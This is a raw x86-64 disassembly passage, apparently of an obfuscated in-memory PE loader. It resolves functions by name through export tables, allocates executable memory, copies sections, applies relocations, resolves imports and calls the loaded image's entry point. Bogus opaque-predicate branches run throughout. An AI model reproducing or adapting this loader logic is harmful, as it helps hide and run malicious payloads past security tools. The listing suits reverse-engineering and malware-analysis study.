mov r8, r12
call r10
add rsp, 0x10
mov rcx, qword [rbp]
call fcn.180002e30
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x18000238a
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000248c
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800023b9
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x18000248e
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
lea rcx, section..data
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
lea rax, [r14 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x1800023f2
add rsi, 1
cmp al, bl
je 0x1800023da
cmp al, bl
je 0x180002400
add rdx, 4
add r9, 2
jmp 0x1800023d3
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 8]
mov edx, dword [rax + rcx + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x18000244d
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001e95
cmp dword [0x180020a7c], 0xa
jl 0x180001bb0
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001bb0
jmp 0x180001ba7
jmp 0x180002474
jmp 0x180002476
jmp 0x180002478
jmp 0x18000247a
jmp 0x18000247c
jmp 0x18000247e
jmp 0x180002480
jmp 0x180002482
jmp 0x180002484
jmp 0x180002486
jmp 0x180002488
jmp 0x18000248a
jmp 0x18000248c
jmp 0x18000248e
jmp 0x180002490
jmp 0x180002492
jmp 0x180002494
jmp 0x180002496
jmp 0x180002498
jmp 0x18000249a
cmp ebx, 0xa
jl 0x1800024a7
test ecx, ecx
je 0x1800024a7
jmp 0x1800024a5
mov rcx, qword [rbp - 8]
lea r8, [rcx + 0x108]
xor r9d, r9d
mov rcx, qword [rbp - 8]
movzx ecx, word [rcx + 6]
cmp r9, rcx
jae 0x180002702
lea rax, [r9 + r9*4]
lea r10, [r8 + rax*8]
add r10, 0xc
mov ecx, dword [0x180020a74]
mov esi, dword [0x180020a78]
cmp esi, 0xa
jl 0x1800024f2
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x1800026fe
cmp esi, 0xa
jl 0x180002506
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x1800026fa
mov eax, dword [r10 + 4]
test rax, rax
je 0x1800025d7
mov ebx, dword [r10]
add rbx, r15
mov ecx, dword [r10 + 8]
lea rdx, section..data
add rdx, rcx
add rdx, 0x404
jmp 0x180002545
add rax, 0xffffffffffffffff
add rdx, 1
add rbx, 1
test rax, rax
je 0x1800025d7
movzx ecx, byte [rdx]
mov byte [rbx], cl
mov ecx, dword [0x180020a74]
mov esi, dword [0x180020a78]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp esi, 0xa
jl 0x18000259f
test edi, edi
je 0x18000259f
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp esi, 0xa
jl 0x180002594
test edi, edi
je 0x180002594
movzx ecx, byte [rdx]
mov byte [rbx], cl
mov ecx, dword [0x180020a74]
mov esi, dword [0x180020a78]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
test edi, edi
je 0x1800025ad
cmp esi, 9
jg 0x1800025d0
jmp 0x1800025ad
cmp esi, 0xa
jl 0x180002530
test edi, edi
je 0x180002530
jmp 0x1800026fa
movzx ecx, byte [rdx]
mov byte [rbx], cl
cmp dword [0x180020a78], 0xa
jl 0x180002545
mov ecx, dword [0x180020a74]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
je 0x180002545
movzx ecx, byte [rdx]
mov byte [rbx], cl
jmp 0x1800025ad
mov eax, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ebx, 0xa
jl 0x1800026e0
test edx, edx
je 0x1800026e0
cmp esi, 0xa
jl 0x180002611
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x180002700
mov eax, dword [r10 + 4]
test rax, rax
je 0x1800024de
mov ecx, dword [r10 + 8]
lea rdx, section..data
lea rbx, [rcx + rdx]
add rbx, 0x404
mov edx, dword [r10]
add rdx, r15
jmp 0x180002651
add rax, 0xffffffffffffffff
add rbx, 1
add rdx, 1
test rax, rax
je 0x1800024de
movzx ecx, byte [rbx]
mov byte [rdx], cl
mov ecx, dword [0x180020a74]
mov esi, dword [0x180020a78]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp esi, 0xa
jl 0x1800026ab
test edi, edi
je 0x1800026ab
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp esi, 0xa
jl 0x1800026a0
test edi, edi
je 0x1800026a0
movzx ecx, byte [rbx]
mov byte [rdx], cl
mov ecx, dword [0x180020a74]
mov esi, dword [0x180020a78]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
test edi, edi
je 0x1800026b6
cmp esi, 9
jg 0x1800026d9
jmp 0x1800026b6
cmp esi, 0xa
jl 0x18000263c
test edi, edi
je 0x18000263c
jmp 0x1800026fc
movzx ecx, byte [rbx]
mov byte [rdx], cl
cmp dword [0x180020a78], 0xa
jl 0x180002651
mov ecx, dword [0x180020a74]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
je 0x180002651
movzx ecx, byte [rbx]
mov byte [rdx], cl
jmp 0x1800026b6
add r9, 1
cmp ebx, 0xa
jl 0x1800024b5
test edx, edx
je 0x1800024b5
jmp 0x1800024a5
jmp 0x1800026fa
jmp 0x1800026fc
jmp 0x1800026fe
jmp 0x180002700
mov rdx, qword [rbp - 8]
mov rcx, qword [rdx + 0x30]
mov r11, r15
sub r11, rcx
mov edx, dword [rdx + 0xb0]
add rdx, r15
movabs r8, 0x1fffffff8
jmp 0x18000272b
mov ecx, dword [rdx + 4]
add rdx, rcx
lea edi, [rax - 1]
imul edi, eax
test dil, 1
sete r9b
cmp ebx, 0xa
setl cl
or cl, r9b
test cl, cl
je 0x180002742
cmp dword [rdx], 0
je 0x18000288f
mov esi, dword [rdx + 4]
cmp rsi, 8
jb 0x18000286d
cmp ebx, 0xa
jl 0x18000276a
and edi, 1
jne 0x180002887
add rsi, r8
shr rsi, 1
mov r9d, esi
xor r10d, r10d
cmp r10, r9
je 0x18000286d
movzx ecx, word [rdx + r10*2 + 8]
mov edi, ecx
shr edi, 0xc
mov esi, ecx
and esi, 0xfff
cmp ecx, 0xa000
jae 0x1800027c4
cmp edi, 3
jne 0x180002844
lea edi, [rax - 1]
imul edi, eax
and edi, 1
cmp ebx, 0xa
jl 0x1800027b9
test edi, edi
jne 0x18000288b
cmp ebx, 0xa
jl 0x180002812
test edi, edi
jne 0x180002838
jmp 0x180002812
cmp edi, 0xa
jne 0x180002844
cmp ebx, 0xa
jl 0x1800027dd
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000288d
mov eax, dword [rdx]
mov edi, esi
add rdi, r15
add qword [rax + rdi], r11
mov eax, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
cmp ebx, 0xa
jl 0x180002844
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002844
mov eax, dword [rdx]
add qword [rdi + rax], r11
mov eax, dword [rdx]
add qword [rdi + rax], r11
jmp 0x1800027e8
mov eax, dword [rdx]
lea rax, [r15 + rax*4]
add dword [rax + rsi*4], r11d
mov eax, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
cmp ebx, 0xa
jl 0x180002844
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002844
mov eax, dword [rdx]
lea rax, [r15 + rax*4]
add dword [rax + rsi*4], r11d
jmp 0x180002812
lea edi, [rax - 1]
imul edi, eax
and edi, 1
cmp ebx, 0xa
jl 0x180002856
test edi, edi
jne 0x180002889
add r10, 1
cmp ebx, 0xa
jl 0x180002776
test edi, edi
je 0x180002776
jmp 0x180002887
cmp ebx, 0xa
jl 0x180002725
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002725
jmp 0x180002885
jmp 0x180002887
jmp 0x180002889
jmp 0x18000288b
jmp 0x18000288d
mov rcx, qword [rbp - 8]
mov ecx, dword [rcx + 0x90]
add rcx, r15
mov qword [rbp - 0x10], rcx
lea rcx, [r15 + 2]
mov qword [rbp - 0x30], rcx
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp ebx, 0xa
setl al
or al, cl
test al, al
je 0x1800028bc
mov rax, qword [rbp - 0x10]
mov r13d, dword [rax + 0xc]
test r13, r13
je 0x180002da7
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.180002e30
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002903
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002d99
add r13, r15
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002935
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002d9b
add r8, r9
mov ebx, dword [r9 + rcx + 0x20]
mov esi, dword [r9 + rcx + 0x24]
add rbx, r9
add rsi, r9
mov edi, dword [rbx]
add rdi, r9
mov rax, r12
movzx edx, byte [rax]
movzx ecx, byte [rdi]
test dl, dl
je 0x180002966
add rax, 1
add rdi, 1
cmp dl, cl
je 0x180002950
cmp dl, cl
je 0x180002974
add rbx, 4
add rsi, 2
jmp 0x180002948
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r13
call r9
add rsp, 0x20
mov r14, rax
mov eax, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp ebx, 0xa
jl 0x180002b76
test ecx, ecx
je 0x180002b76
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.180002e30
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800029e7
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002d91
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002a16
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002d93
add r8, r9
mov ebx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rbx, r9
add rcx, r9
mov edi, dword [rbx]
add rdi, r9
mov rsi, r12
movzx eax, byte [rsi]
movzx edx, byte [rdi]
test al, al
je 0x180002a47
add rsi, 1
add rdi, 1
cmp al, dl
je 0x180002a31
cmp al, dl
je 0x180002a55
add rbx, 4
add rcx, 2
jmp 0x180002a29
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r13
call r9
mov rcx, qword [rbp]
call fcn.180002e30
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002a97
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002d95
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002ac6
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002d97
add r8, r9
mov ebx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rbx, r9
add rcx, r9
mov edi, dword [rbx]
add rdi, r9
mov rsi, r12
movzx eax, byte [rsi]
movzx edx, byte [rdi]
test al, al
je 0x180002af7
add rsi, 1
add rdi, 1
cmp al, dl
je 0x180002ae1
cmp al, dl
je 0x180002b05
add rbx, 4
add rcx, 2
jmp 0x180002ad9
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r13
call r9
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x180002b3b
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800029b5
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.180002e30
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002906
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002906
jmp 0x180002d99
cmp ebx, 0xa
jl 0x180002b83
test ecx, ecx
jne 0x180002da5
mov rcx, qword [rbp - 0x10]
mov edx, dword [rcx]
mov ecx, dword [rcx + 0x10]
add rdx, r15
mov qword [rbp - 0x20], rdx
add rcx, r15
mov qword [rbp - 0x18], rcx
mov rcx, qword [rbp - 0x20]
mov rcx, qword [rcx]
test rcx, rcx
je 0x180002d87
mov rax, qword [rbp - 0x30]
add rax, rcx
test rcx, rcx
movzx r13d, cx
cmovns r13, rax
jmp 0x180002be0
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, r13
call r9
add rsp, 0x20
mov rcx, qword [rbp - 0x18]
mov qword [rcx], rax
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.180002e30
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002c12
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002d9d
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002c41
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002d9f
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdx, r9
add rcx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, qword [rbp - 0x28]
movzx eax, byte [rsi]
movzx ebx, byte [rdi]
test al, al
je 0x180002c73
add rsi, 1
add rdi, 1
cmp al, bl
je 0x180002c5d
cmp al, bl
je 0x180002c81
add rdx, 4
add rcx, 2
jmp 0x180002c54
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, r13
call r9
add rsp, 0x20
mov rcx, qword [rbp - 0x18]
mov qword [rcx], rax
mov eax, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp ebx, 0xa
jl 0x180002d6a
test ecx, ecx
je 0x180002d6a
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.180002e30
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002cfb
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002da1
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002d26
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002da3
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdx, r9
add rcx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, qword [rbp - 0x28]
movzx eax, byte [rsi]
movzx ebx, byte [rdi]
test al, al
je 0x180002d58
add rsi, 1
add rdi, 1
cmp al, bl
je 0x180002d42
cmp al, bl
je 0x180002bbe
add rdx, 4
add rcx, 2
jmp 0x180002d39
add qword [rbp - 0x20], 8
add qword [rbp - 0x18], 8
cmp ebx, 0xa
jl 0x180002b9a
test ecx, ecx
je 0x180002b9a
jmp 0x180002da5
add qword [rbp - 0x10], 0x14
jmp 0x1800028a8
jmp 0x180002d91
jmp 0x180002d93
jmp 0x180002d95
jmp 0x180002d97
jmp 0x180002d99
jmp 0x180002d9b
jmp 0x180002d9d
jmp 0x180002d9f
jmp 0x180002da1
jmp 0x180002da3
jmp 0x180002da5
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x28]
add rax, r15
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x180002e13
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002e13
mov rsi, qword [rbp - 8]
mov eax, dword [rsi + 0x28]
add rax, r15
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, dword [rsi + 0x28]
add rax, r15
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x180002e13
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002dd9
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret